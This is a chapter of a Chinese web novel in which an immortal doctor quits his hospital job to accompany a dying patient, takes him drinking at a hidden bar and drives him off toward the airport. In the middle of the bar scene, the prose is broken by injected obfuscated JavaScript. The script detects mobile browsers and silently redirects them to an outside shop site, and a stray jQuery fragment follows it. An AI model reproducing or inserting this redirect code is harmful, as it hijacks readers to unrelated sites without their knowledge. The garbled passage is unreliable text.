我觉得自己就像是颗活了好久好久的老树，一动不动。直到枝桠旁突然开出一朵只有一季的花，当他的花瓣被吹落时，我才意识到自己还能感觉到风。
很抽象的比喻吧，我把辞呈递上去的时候也觉得很抽象。
在一个普通的周三下午，我推开人事科的门进去，把辞呈放在科长桌上。
科长看了好几眼，然后抬起头看我，表情像吞了一只苍蝇。“小江？你这是……”
“辞职。”我说。
“我知道是辞职，”他把纸拿起来翻来覆去地看，“干得好好的，怎么突然——”
“家里有事。”
“什么事？”
“老家拆迁，分了三套房，”我面不改色地说，“我妈让我回去当包租婆。”
科长盯着我看了五秒钟，大概在判断我是不是在开玩笑。我表情诚恳，眼神空洞，三百多年的撒谎功底不是盖的。
“你……”他张了张嘴，“你确定？”
“确定。”
“那你的病人怎么办？”
“我已经把所有病人的病历整理好了，交接给李医生，他同意了。”
科长沉默了一会儿，最后叹了口气，拿起笔在辞呈上签了字。“行吧，年轻人有自己的打算，我也不拦你。不过你那个十六床……”
我的手指微微动了一下。
“十六床的程昇，”科长说，“你今天给他办出院手续吧，我听说他情况不太好，你想走之前把他安顿好也行。”
“已经办了。”我说。
科长又看了我一眼，没再说什么。
我走出人事科的时候，走廊里的灯光还是那个调调，惨白、刺眼。我摸了摸口袋里的手机，上面有一条还没发出去的消息，收件人是程昇。
消息写的是：“我请假了，可以陪你。”
我删掉了“请假”，改成了“休假”。然后点击发送。
三秒钟后，手机震了一下。
“真的？”
“真的。”
“你不用上班？”
“我休年假，七年攒的一次性休完。”
“那你的病人呢？”
“交给同事了。”
对面沉默了一会儿，然后回了一个字：“好。”
我站在走廊里，看着那个“好”字，忽然觉得自己挺不是个东西。但也就那么一瞬，下一秒我就转身往十六床走去。
程昇已经换下了病号服，穿着一件浅灰色的卫衣和黑色长裤，坐在床边等我。那只歪脖子千纸鹤被他放在了床头柜上，没有带走。
“江医生。”他站起来。他的身形偏瘦，脊背挺得很直。卫衣的帽子搭在背后，露出一截后颈，皮肤白得几乎透明。
“走吧，”我说，“出院手续办好了。”
他拿起床上的一个双肩包——很小，很旧，洗得发白。“就这些？”我问。
“嗯，就这些。”
我接过他的出院小结和病历袋，犹豫了一下，还是开了口：“程昇，有件事我想跟你说清楚。”
他看着我，等着我开口。
“我帮你办了出院，不是因为你的病好了，”我说得很慢，尽量让语气听起来客观，“而是因为继续住院对你的病情没有实质帮助。你现在的身体状况，治疗和不治疗，差别不大。”
他点了点头。“我知道。”
“但是说实话，不治疗的话，你可能……更短。”其实这是在放屁，寿命既定，治不治疗都不会更改。可能我是在为那个“三年”做铺垫。
他沉默了几秒，嘴角弯了一下。“江医生，你说话还是这么直接。”
“习惯了。”
“那正好，”他说，“我也不想治了。住院太闷了，天天闻消毒水的味道，我快吐了。”
“你确定？”
他看着我，目光平静而认真。“如果终于有人能陪我活一天，也够了。”
这句话很轻，轻得像羽毛落在地，却让我莫名心悸。
我别开视线，假装在看窗户外面。“行了，别那么煽情，我就是自己想出去转转，刚好带个人陪着我，省得路上无聊。”
他笑了一下，没拆穿我。
我们一起走出住院部大楼。秋天的阳光落下来，金黄色的，暖洋洋的。他站在台阶上眯了眯眼，深吸了一口气，然后慢慢呼出来。“外面的空气真好。”
“医院里都是福尔马林味。”
“还有消毒水味，药味，死人味......”他侧过头看我，“江医生，以后打算干什么？”
“不知道，”我说，“玩够了再说。”
“那你玩够了之后呢？”
“再说吧。”
他没再追问。
我带他去了停车场。我的车是一辆黑色的旧款SUV，买了快十年了，里程数不高，因为平时也就医院和公寓两点一线。我打开后备箱，里面空空荡荡，只有一个收纳箱，装着几瓶矿泉水和一把伞。
“你先上车，我送你回家收拾行李。”
他坐上副驾驶，把双肩包放在脚边。我发动车子，驶出医院大门的时候，他透过车窗看着那栋住院部大楼一点点变小，最后消失在转角。
“住了一周，”他说，“蛮舍不得的。”
“舍不得什么？消毒水？”
“舍不得窗外面那棵银杏树，”他说，“每天下午的时候，阳光会穿过叶子照进来，在床单上晃来晃去的，特别好看。”
我没接话。我知道他说的是什么——那棵银杏就在十六床窗户正对的方向，再待下去叶子就黄了，风一吹就只剩枝丫。
车子开了四十分钟，穿过半个城市，到了他住的地方。那是一片老小区，楼不高，外墙贴着暗红色的瓷砖，有些已经剥落了。楼道里很暗，声控灯忽明忽灭。他住在五楼，没有电梯，爬楼梯的时候他在前面走，我在后面跟着，看着他瘦削的背影一级一级地往上。
他的喘息声越来越重，到三楼的时候停了一次，扶着扶手歇了几秒。“没事吧？”我问。
“没事，走吧。”他继续往上爬。
到了五楼，他掏出钥匙打开门。门开了，一股很久没人住的味道扑面而来——是一种“没有人气”的味道，干净冷清。
房子不大，一室一厅，客厅里只有一张沙发、一张茶几、一个书架。书架上塞满了书。茶几上放着一只杯子，杯底有一圈水渍，已经干了。
“你随便坐，”他说，“我收拾一下。”
他走进卧室，拉开衣柜，开始往行李箱里装东西。我站在客厅里，环顾四周。这个家给我的感觉和程昇本人一样——干净、克制、没有任何多余的痕迹。墙上什么装饰品都没有。茶几上甚至不存在一盒纸巾。
书架上有一格放着几本相册，我犹豫了一下，没有去翻。
“好了。”他拖着一个小行李箱走出来，“就这些。”
“你确定？衣服够吗？”
“够了，不够再买。”他说得很随意。
他说完就笑了笑，低头换鞋。
我看着他蹲下来系鞋带的样子，后颈弯出一道柔和的弧度。
“程昇，”我说，“今晚我带你去个地方。”
说完才发觉怪怪的，感觉听着不像什么好话。不过程昇没有在意。
“什么地方？”
“一个酒吧。”
他直起身，有点意外。“你还会去酒吧？”
“偶尔。”
他没多问，点了点头。
天已经黑了。我把他的行李箱放进后备箱，然后开车穿过城市，拐进巷子里。巷子越开越窄，最后在一面长满爬山虎的老墙前停下。
“现在的剧情像不像人贩子一步步终于把小孩骗到手里了。”我笑着打趣。
程昇没有回答，透过后视镜他正静静看着我的眼睛。
隔了一会儿，他才说话。
“这里？”他下车，左右看了看，“这里什么都没有啊。”
“跟我来。”
我带着他走到那面墙前，在第三块松动的砖头上按了一下。墙无声地滑开一扇门，里面透出昏黄的灯光。
他愣住了。
我推开门走进去。程昇跟在我身后，脚步有些迟疑。
酒吧里很安静，只有吧台后面站着一个人——前辈。他穿着一件深蓝色的衬衫，袖子卷到小臂，手里拿着一块抹布，正在擦拭一只玻璃杯。
他看见我，又看见我身后的人，眼神没有波澜，只是微微点了点头。
“前辈。”我打招呼。
“嗯。”他的目光在程昇身上停留了一秒，然后移开。“坐。”
我带着程昇走到吧台前坐下。程昇打量着周围，目光里有好奇，但没有失态。“这地方……好隐蔽。”
“是我朋友的店，”我说，“不对外营业。”
前辈倒了两杯酒推过来。琥珀色的液体在灯光下微微晃动。
“他能喝吗？”前辈问。
程昇是凡人，喝酒会加速寿命消耗吗？答案是不会，寿命是既定的，喝不喝酒都一样。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680904|207687||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“能喝。”我说。
程昇端起酒杯，闻了一下。“威士忌？”
“嗯。”前辈说。
程昇喝了一口，眉头微微皱了一下。“挺烈的。”
“慢点喝。”我说。
但他没有慢。他端着那杯酒，一小口一小口地喝，没停。我在旁边陪着他，我的酒杯几乎是满的——喝酒对永生者没用，威士忌和凉白开对我来说没有区别。
前辈擦完杯子，又拿起另一只，不再说话。
酒吧里很安静，低沉的爵士乐从角落里那台老式留声机里流淌出来。程昇的脸渐渐泛起了红晕，从他的耳尖蔓延到颧骨，像被晚霞染过一样。他的眼神也开始变得有些散，不再那么聚焦。
“江医生，”他忽然开口，声音比平时软了一些，“你为什么要对我这么好？”
“我没对你好。”
“你辞职了，”他说，“还骗我说是休假。”
我端着酒杯的手顿了一下。
“我知道，”他继续说，声音轻得像是在自言自语，“医生说住院部的人说你交了辞呈。”
我沉默了几秒。“谁跟你说的？”
“夏姐来给我办出院手续的时候，我问了一句。她说江医生挺够意思的，为了陪你连工作都不要了。”他的笑有点醉意，有点无奈，“她还说，你是个怪人。”
“她没说错。”
程昇转过头看我。酒吧昏黄的灯光落在他脸上，他的眼睛湿漉漉的。
“江拾，”他叫我名字，“你为什么啊？”
我张了张嘴。那一瞬间，我想过很多回答，但我看着他的眼睛，那些话全都堵在喉咙里，一个字都说不出来。
“因为……”我开口，声音有点哑，“因为你吧。”
他看着我，目光迷蒙，似乎在消化这句话。脸上是那种不带任何防御的、完全放松的表情。
“你说话真的好奇怪。”他说。
他又喝了一口酒。酒杯已经空了大半。前辈走过来，默默地又给他添了一点。
“前辈，”我说，“够了。”
前辈看了我一眼，放下酒瓶，转身走了。
程昇趴在吧台上，侧着脸看我。他的睫毛很长，在灯光下投出一小片阴影。呼吸变得均匀而缓慢，像是困了，又像是在等待。
“江拾，”他含含糊糊地说，“我好像有点醉了。”
“我知道。”
“我从来没在别人面前醉过。”
“那你今天破例了。”
他笑了，慢慢闭上了眼睛。
我在吧台前坐了一会儿，看着他安静下来的侧脸，呼吸越来越平稳，眉头微微舒展。
“前辈，”我低声说，“我先走了。”
前辈从里面走出来，看了我一眼。“江拾。”
“嗯？”
“你知道自己在做什么就行。”
我没回答。
我起身，把程昇从吧台上扶起来。他比我想象中轻，整个人软软地靠在我肩上，呼吸里带着淡淡的酒气。我半扶半抱地把他带出酒吧，穿过那扇暗门，回到巷子里。
夜色很凉，秋天的风裹着梧桐叶的味道。我打开后车门，把他轻轻放在后座上，又把自己的外套脱下来盖在他身上。
他翻了个身，嘴里嘟囔了一句什么，听不清。
我关上车门，绕到驾驶座，发动车子。
导航的目的地是机场。后备箱里，我的行李已经准备好了——一个登山包，里面装着几件换洗衣服、一些药品、他的病历复印件。
车子驶出巷子，汇入城市的主干道。路灯一盏一盏地往后退，程昇在后座睡着，发出均匀的呼吸声。
我透过后视镜看了他一眼。
他头顶那个数字还在——92。安安静静地悬在那里，在晨光破晓时变成了91。
我踩下油门。
前面的路很长，长到看不见尽头。但我知道，无论开多久，这个数字都会一直在那里，一天一天地减少。
而我唯一能做的，就是让这些日子，变得值得。
下一站是——北京。
永生者手册：
4.永生者与凡人之间没有生殖隔离，但后代不会继承永生的特质。由于永生者与凡人的寿命不对等，历史上绝大多数永生者都选择不与凡人建立长期亲密关系，以避免永恒的离别之痛(这也是永生者一直不被世人发现的原因之一)。该现象被永生者社群称为“永生者困境”。
程昇剩余寿命：91天